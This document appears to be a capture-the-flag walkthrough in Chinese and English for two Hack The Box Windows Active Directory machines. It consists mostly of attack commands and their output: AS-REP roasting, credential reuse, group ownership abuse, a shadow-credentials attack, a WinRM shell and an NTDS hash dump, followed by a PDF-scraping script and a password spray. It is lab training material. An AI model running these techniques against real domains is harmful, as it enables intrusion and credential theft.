root@fdvoid0# nmap -p- --min-rate 10000 10.10.11.181 Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-21 06:36 EDT Nmap scan report for 10.10.11.181 Host is up (0.087s latency). Not shown: 65509 closed ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49675/tcp open unknown 49686/tcp open unknown 49692/tcp open unknown 49699/tcp open unknown 49703/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 8.50 seconds
root@fdvoid0# nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.11.181 Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-21 06:37 EDT Nmap scan report for 10.10.11.181 Host is up (0.088s latency).
PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Absolute 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-21 17:38:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2022-06-09T08:14:24 |_Not valid after: 2023-06-09T08:14:24 |_ssl-date: 2023-05-21T17:40:40+00:00; +6h59m59s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2022-06-09T08:14:24 |_Not valid after: 2023-06-09T08:14:24 |_ssl-date: 2023-05-21T17:40:39+00:00; +7h00m00s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2022-06-09T08:14:24 |_Not valid after: 2023-06-09T08:14:24 |_ssl-date: 2023-05-21T17:40:40+00:00; +6h59m59s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.absolute.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb | Not valid before: 2022-06-09T08:14:24 |_Not valid after: 2023-06-09T08:14:24 |_ssl-date: 2023-05-21T17:40:39+00:00; +7h00m00s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=5/21%Time=6469F493%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 161.96 seconds
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# ldapsearch -H ldap://dc.absolute.htb -x -b "DC=absolute,DC=htb" # extended LDIF # # LDAPv3 # base <DC=absolute,DC=htb> with scope subtree # filter: (objectclass=*) # requesting: ALL #
# search result search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v4563
Host's addresses: __________________ absolute.htb. 600 IN A 10.10.11.181 Name Servers: ______________ dc.absolute.htb. 1200 IN A 10.10.11.181 Mail (MX) Servers: ___________________ Trying Zone Transfers and getting Bind Versions: _________________________________________________ unresolvable name: dc.absolute.htb at /usr/bin/dnsenum line 900. Trying Zone Transfer for absolute.htb on dc.absolute.htb ... AXFR record query failed: no nameservers Brute forcing with /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt: ______________________________________________________________________________________ dc.absolute.htb. 1200 IN A 10.10.11.181 gc._msdcs.absolute.htb. 600 IN A 10.10.11.181 domaindnszones.absolute.htb. 600 IN A 10.10.11.181 forestdnszones.absolute.htb. 600 IN A 10.10.11.181 absolute.htb class C netranges: ________________________________ Performing reverse lookup on 0 ip addresses: _____________________________________________ 0 results out of 0 IP addresses. absolute.htb ip blocks: ________________________ done.
然而这些都没什么用。
Website - TCP 80
该网站是一个专注于设计和图像的简单页面:
图像每隔几秒旋转一次。唯一的链接指向模板。
技术栈
HTTP响应头只表示IIS,没有其他内容:
1 2 3 4 5 6 7 8 9
HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Tue, 07 Jun 2022 19:29:10 GMT Accept-Ranges: bytes ETag: "0877fdca47ad81:0" Server: Microsoft-IIS/10.0 Date: Sun, 21 May 2023 23:50:51 GMT Connection: close Content-Length: 2909
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# exiftool hero_1.jpg ExifTool Version Number : 12.57 File Name : hero_1.jpg Directory : . File Size : 407 kB File Modification Date/Time : 2022:06:07 15:45:20-04:00 File Access Date/Time : 2023:05:29 02:44:24-04:00 File Inode Change Date/Time : 2023:05:29 02:44:24-04:00 File Permissions : -rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Little-endian (Intel, II) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Artist : James Roberts Y Cb Cr Positioning : Centered Quality : 60% XMP Toolkit : Image::ExifTool 11.88 Author : James Roberts Creator Tool : Adobe Photoshop CC 2018 Macintosh Derived From Document ID : 6413FD608B5C21D0939F910C0EFBBE44 Derived From Instance ID : 6413FD608B5C21D0939F910C0EFBBE44 Document ID : xmp.did:887A47FA048811EA8574B646AF4FC464 Instance ID : xmp.iid:887A47F9048811EA8574B646AF4FC464 DCT Encode Version : 100 APP14 Flags 0 : [14], Encoded with Blend=1 downsampling APP14 Flags 1 : (none) Color Transform : YCbCr Image Width : 1900 Image Height : 1150 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 1900x1150 Megapixels : 2.2
James Roberts是“Author” 和 “Artist”。其他的没有“Artist”,但他们都有一个“Author”字段。
Generate Users List
有了users列表,就可以测试Kerberos,看看是否有有效的用户名。得到一个users列表:
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# for i in $(seq 1 6); do exiftool hero_${i}.jpg | grep Author | awk '{print $3 " " $4}'; done | tee users James Roberts Michael Chaffrey Donald Klay Sarah Osvald Jeffer Robinson Nicole Smith
[-] User j.roberts@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User m.chaffrey@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User s.osvald@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User j.robinson@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:7babac3563f9d82cdd68fc5f6a8c35bf$6f67d29d9f1811e4fe60990d208c59ecf1850e55cc44ac5d2d31e8db12d663b514a2ab8f186fb70475960feffa9244139f153276a20dcbe4aa8d39739f419e6d19c13d4304c167c3854afa3da678b0594aa746b8f42ad39ef55c20aa501f817ba52722ab2c75b5eaeddf5ef8008bd3e61b2d19b672b7bb1db571b5c8d6cfe3ae357c731fa8c9bea2dad013b5b3439b2b0c4cbaff742d08dcfc1f7217f4c1818face9910b051b19567bdf0a0d68d715750d7cbad67c2c56064d1b8e5c3bdf7604fa408f76fc72012061bd2de8be211d57dddb04f93bf4122cb8d8a3d82be8c18e472184e798ae2477d70dea34 [-] User n.smith@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# bloodhound-python -u d.klay -p 'Darkmoonsky248girl' -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 -c ALL --zip 1 ⨯ INFO: Found AD domain: absolute.htb INFO: Using TGT from cache INFO: Found TGT with correct principal in ccache file. INFO: Connecting to LDAP server: dc.absolute.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.absolute.htb INFO: Found 18 users INFO: Found 55 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc.absolute.htb INFO: Done in 01M 56S INFO: Compressing output into 20230529130934_bloodhound.zip
将zip文件上传到Bloodhound, 然后找到d.klay, 标记为已拿下:
不幸的是,这个用户没有本地管理权限,没有执行权限,也没有出站对象控制权限:
SMB
有了creds,可以看看SMB shares:
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# crackmapexec smb dc.absolute.htb -k -u d.klay -p 'Darkmoonsky248girl' --shares SMB dc.absolute.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB dc.absolute.htb 445 DC [+] absolute.htb\d.klay:Darkmoonsky248girl SMB dc.absolute.htb 445 DC [+] Enumerated shares SMB dc.absolute.htb 445 DC Share Permissions Remark SMB dc.absolute.htb 445 DC ----- ----------- ------ SMB dc.absolute.htb 445 DC ADMIN$ Remote Admin SMB dc.absolute.htb 445 DC C$ Default share SMB dc.absolute.htb 445 DC IPC$ READ Remote IPC SMB dc.absolute.htb 445 DC NETLOGON READ Logon server share SMB dc.absolute.htb 445 DC Shared SMB dc.absolute.htb 445 DC SYSVOL READ Logon server share
[-] CCache file is not found. Skipping... Type helpfor list of commands # shares ADMIN$ C$ IPC$ NETLOGON Shared SYSVOL # use SYSVOL # ls drw-rw-rw- 0 Thu Jun 9 04:16:22 2022 . drw-rw-rw- 0 Thu Jun 9 04:16:22 2022 .. drw-rw-rw- 0 Thu Jun 9 04:16:22 2022 absolute.htb
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# crackmapexec ldap 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k --users 130 ⨯ SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) LDAP 10.10.11.181 389 DC [+] absolute.htb\d.klay:Darkmoonsky248girl LDAP 10.10.11.181 389 DC [*] Total of records returned 20 LDAP 10.10.11.181 389 DC Administrator Built-in account for administering the computer/domain LDAP 10.10.11.181 389 DC Guest Built-in account for guest access to the computer/domain LDAP 10.10.11.181 389 DC krbtgt Key Distribution Center Service Account LDAP 10.10.11.181 389 DC J.Roberts LDAP 10.10.11.181 389 DC M.Chaffrey LDAP 10.10.11.181 389 DC D.Klay LDAP 10.10.11.181 389 DC s.osvald LDAP 10.10.11.181 389 DC j.robinson LDAP 10.10.11.181 389 DC n.smith LDAP 10.10.11.181 389 DC m.lovegod LDAP 10.10.11.181 389 DC l.moore LDAP 10.10.11.181 389 DC c.colt LDAP 10.10.11.181 389 DC s.johnson LDAP 10.10.11.181 389 DC d.lemm LDAP 10.10.11.181 389 DC svc_smb AbsoluteSMBService123! LDAP 10.10.11.181 389 DC svc_audit LDAP 10.10.11.181 389 DC winrm_user Used to perform simple network tasks
要将用户添加到NETWORK AUDIT组中,可以首先将用户m.lovegod设置为组的所有者。为了修改一个组的所有者,可以使用[owneredit.py] New example script to change an object’s owner #1323,这是Impacket套件的一个拉取请求里的脚本。
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# kinit m.lovegod Password for m.lovegod@ABSOLUTE.HTB:
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' --use-kerberos=required -S dc.absolute.htb Password for [WORKGROUP\m.lovegod]:
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# net rpc group members "Network Audit" -U 'm.lovegod' --use-kerberos=required -S dc.absolute.htb Password for [WORKGROUP\m.lovegod]: absolute\m.lovegod absolute\svc_audit
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' -k -S dc.absolute.htb WARNING: The option -k|--kerberos is deprecated!
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# net rpc group members "Network Audit" -U 'm.lovegod' -k -S dc.absolute.htb WARNING: The option -k|--kerberos is deprecated! absolute\m.lovegod absolute\svc_audit
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates [*] Found 33 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 11 enabled certificate templates [*] Trying to get CA configuration for'absolute-DC-CA' via CSRA [!] Got error while trying to get CA configuration for'absolute-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for'absolute-DC-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Got CA configuration for'absolute-DC-CA' [*] Saved BloodHound data to '20230530133316_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k [*] Saved text output to '20230530133316_Certipy.txt' [*] Saved JSON output to '20230530133316_Certipy.json'
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# certipy shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htb -account winrm_user Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_user' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '56abaff7-ff87-070d-beac-48aa003f33a9' [*] Adding Key Credential with device ID '56abaff7-ff87-070d-beac-48aa003f33a9' to the Key Credentials for'winrm_user' [*] Successfully added Key Credential with device ID '56abaff7-ff87-070d-beac-48aa003f33a9' to the Key Credentials for'winrm_user' [*] Authenticating as 'winrm_user' with the certificate [*] Using principal: winrm_user@absolute.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'winrm_user.ccache' [*] Trying to retrieve NT hashfor'winrm_user' [*] Restoring the old Key Credentials for'winrm_user' [*] Successfully restored the old Key Credentials for'winrm_user' [*] NT hashfor'winrm_user': 8738c7413a5da3bc1d083efc0ab06cb2
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.0: no such file or directory
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
[*] Relaying context: absolute.htb\DC$ [*] Rewriting function table [*] Rewriting PEB [*] GetModuleFileName: System [*] Init com server [*] GetModuleFileName: C:\programdata\KrbRelay1.exe [*] Register com server objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAB9vU64ftMuuYvY9fnAPSf9AogAABwX//+5tG+e1GpphiIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Relaying context: absolute.htb\DC$ [*] Rewriting function table [*] Rewriting PEB [*] GetModuleFileName: System [*] Init com server [*] GetModuleFileName: C:\programdata\KrbRelay1.exe [*] Register com server objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAABXmOFkCjduDHUSM3VtL2fUAoQAAOwU//9NMvzhG3NliiIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP/
*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user winrm_user User name winrm_user Full Name Comment Used to perform simple network tasks User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 6/9/2022 1:25:51 AM Password expires Never Password changeable 6/10/2022 1:25:51 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 6/9/2022 7:13:12 AM Logon hours allowed All Local Group Memberships *Administrators *Remote Management Use Global Group memberships *Domain Users *Protected Users The command completed successfully. *Evil-WinRM* PS C:\Users\winrm_user\Documents> cat C:\Users\Administrator\Desktop\root.txt e9cefad9242174ae18798c39f2c275d5
*Evil-WinRM* PS C:\programdata> net user winrm_user User name winrm_user Full Name Comment Used to perform simple network tasks User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 6/9/2022 1:25:51 AM Password expires Never Password changeable 6/10/2022 1:25:51 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 5/31/2023 8:44:50 AM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *Domain Users *Protected Users The command completed successfully.
┌──(root💀kali)-[~/hackthebox/machine/absolute] └─# crackmapexec smb -dc-ip dc.absolute.htb -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577 --ntds SMB dc.absolute.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:c-ip) (signing:True) (SMBv1:False) SMB dc.absolute.htb 445 DC [+] c-ip\DC$:A7864AB463177ACB9AEC553F18F42577 SMB dc.absolute.htb 445 DC [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied SMB dc.absolute.htb 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull... SMB dc.absolute.htb 445 DC Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f4a6093623653f6488d5aa24c75f2ea::: SMB dc.absolute.htb 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB dc.absolute.htb 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4::: SMB dc.absolute.htb 445 DC J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a::: SMB dc.absolute.htb 445 DC M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184::: SMB dc.absolute.htb 445 DC D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab::: SMB dc.absolute.htb 445 DC s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee::: SMB dc.absolute.htb 445 DC j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f::: SMB dc.absolute.htb 445 DC n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d::: SMB dc.absolute.htb 445 DC m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d::: SMB dc.absolute.htb 445 DC l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba::: SMB dc.absolute.htb 445 DC c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4::: SMB dc.absolute.htb 445 DC s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c::: SMB dc.absolute.htb 445 DC d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40::: SMB dc.absolute.htb 445 DC svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167::: SMB dc.absolute.htb 445 DC svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103::: SMB dc.absolute.htb 445 DC winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2::: SMB dc.absolute.htb 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577::: SMB dc.absolute.htb 445 DC [+] Dumped 18 NTDS hashes to /root/.cme/logs/DC_dc.absolute.htb_2023-05-31_120153.ntds of which 17 were added to the database
*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 6/9/2022 1:25:57 AM Password expires Never Password changeable 6/10/2022 1:25:57 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 5/31/2023 9:05:00 AM Logon hours allowed All Local Group Memberships *Administrators Global Group memberships *Domain Users *Schema Admins *Enterprise Admins *Domain Admins *Group Policy Creator The command completed successfully.
┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.248 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-10 10:05:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49686/tcp open msrpc Microsoft Windows RPC 49702/tcp open msrpc Microsoft Windows RPC 49708/tcp open msrpc Microsoft Windows RPC 64420/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Looks like a normal Active Directory setup for windows OS.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jul 4 07:18:41 2021
========================== | Target Information | ========================== Target ........... intelligence.htb RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
======================================================== | Enumerating Workgroup/Domain on intelligence.htb | ======================================================== [E] Can't find workgroup/domain ================================================ | Nbtstat Information for intelligence.htb | ================================================ Looking up status of 10.129.80.199 No reply from 10.129.80.199 ========================================= | Session Check on intelligence.htb | ========================================= [+] Server intelligence.htb allows sessions using username '', password '' [+] Got domain/workgroup name: =============================================== | Getting domain SID for intelligence.htb | =============================================== Domain Name: intelligence Domain Sid: S-1-5-21-4210132550-3389855604-3437519686 [+] Host is part of a domain (not a workgroup) ========================================== | OS information on intelligence.htb | ========================================== [+] Got OS info for intelligence.htb from smbclient: [+] Got OS info for intelligence.htb from srvinfo: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED ================================= | Users on intelligence.htb | ================================= [E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED ============================================= | Share Enumeration on intelligence.htb | ============================================= Sharename Type Comment --------- ---- ------- SMB1 disabled -- no workgroup available [+] Attempting to map shares on intelligence.htb ======================================================== | Password Policy Information for intelligence.htb | ======================================================== [E] Unexpected error from polenum: [+] Attaching to intelligence.htb using a NULL share [+] Trying protocol 139/SMB... [!] Protocol failed: Cannot request session (Called Name:INTELLIGENCE.HT) [+] Trying protocol 445/SMB... [!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. [E] Failed to get password policy with rpcclient ================================== | Groups on intelligence.htb | ================================== [+] Getting builtin groups: [+] Getting builtin group memberships: [+] Getting local groups: [+] Getting local group memberships: [+] Getting domain groups: [+] Getting domain group memberships: =========================================================================== | Users on intelligence.htb via RID cycling (RIDS: 500-550,1000-1050) | =========================================================================== [E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
================================================= | Getting printer info for intelligence.htb | ================================================= Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Sun Jul 4 07:19:54 2021
Nothing much from here so let’s try anonymous login.
Anonymous Login
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# smbclient -L //intelligence.htb Enter WORKGROUP\root's password: Anonymous login successful Sharename Type Comment --------- ---- ------- SMB1 disabled -- no workgroup available
We have anonymous login but we have access to shares so let’s enumerate further.
LDAP
let’s do an ldap search for getting naming context for the AD(Active Directory).
┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# exiftool 2020-01-01-upload.pdf ExifTool Version Number : 12.16 File Name : 2020-01-01-upload.pdf Directory : . File Size : 26 KiB File Modification Date/Time : 2021:04:01 13:00:00-04:00 File Access Date/Time : 2021:07:09 23:58:06-04:00 File Inode Change Date/Time : 2021:07:09 23:58:06-04:00 File Permissions : rw-r--r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.5 Linearized : No Page Count : 1 Creator : William.Lee ┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# exiftool 2020-12-15-upload.pdf ExifTool Version Number : 12.16 File Name : 2020-12-15-upload.pdf Directory : . File Size : 27 KiB File Modification Date/Time : 2021:04:01 13:00:00-04:00 File Access Date/Time : 2021:07:09 23:58:19-04:00 File Inode Change Date/Time : 2021:07:09 23:58:19-04:00 File Permissions : rw-r--r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.5 Linearized : No Page Count : 1 Creator : Jose.Williams
Looks like we have two usernames Jose.Williams and William.Lee so let’s create a wordlist with different combination from their names and then brute it with kerbrute.
Kerberos
Thinking about the wordlist I came up with this wordlist below.
In this case you don’t need to create this wordlist cause the author name is one of the usernames but in Real like scenario or the in some difficult CTF you might need to create the wordlist as above.
So now we have two users before bruting the password let’s try and check for some low hanging fruits like GetNpuser. Got nothing from that so I though that there could be something else so I went on to check PDF’s.
Web
So I checked the naming of PDF is using the date and then followed by upload. so I tried to brute all the dates to get if there are anymore PDF’s. The below script will create a new PDF directory and download all pdf in that directory.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
#!/usr/bin/python3
import requests import os
url = 'http://intelligence.htb/documents/'
for i inrange(2020,2022): for j inrange(1,13): for k inrange(1,31): date = f'{i}-{j:02}-{k:02}-upload.pdf' r = requests.get(url+date) #print (r.text) if (r.status_code == 200): print (date) #text = r.text os.system('mkdir pdf') os.system(f'wget {url}{date} -O pdf/{date}')
Now as the nummber of PDF files was more I wrote another python script to extract the usernames.
io = process('/bin/sh') io.sendline('ls -al pdf/') lst = io.recvrepeat(1).decode().strip().split('\n') files = [] for i inrange(3,len(lst)): tmp = lst[i].split(' ') files.append(tmp[10]) #print (files) f = open('users.txt','w') for i in files: io.sendline(f'exiftool pdf/{i}') tmp = (io.recvrepeat(1).decode().strip().split(': ')) f.write(tmp[-1] + '\n') print (tmp[-1])
f.close()
And it will create users.txt for you. now after getting users.txt you can retry NPUsers.py but it won’t help so let’s dig more into PDF. Now searching for password in pdf I wrote this simple python script to make my job easy.
for i in files: text = extract_text('pdf/'+i) if(keywords in text): print (i) print (text)
So this will give you the following output.
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/hackthebox/machine/intelligence] └─# python3 getpass.py 2020-06-04-upload.pdf New Account Guide
Welcome to Intelligence Corp! Please login using your username and the default password of: NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.
So now we have default password so let’s try and spray that password at our username I tried kerbrute but didn’t yeild anything then I tried crackmapexec.
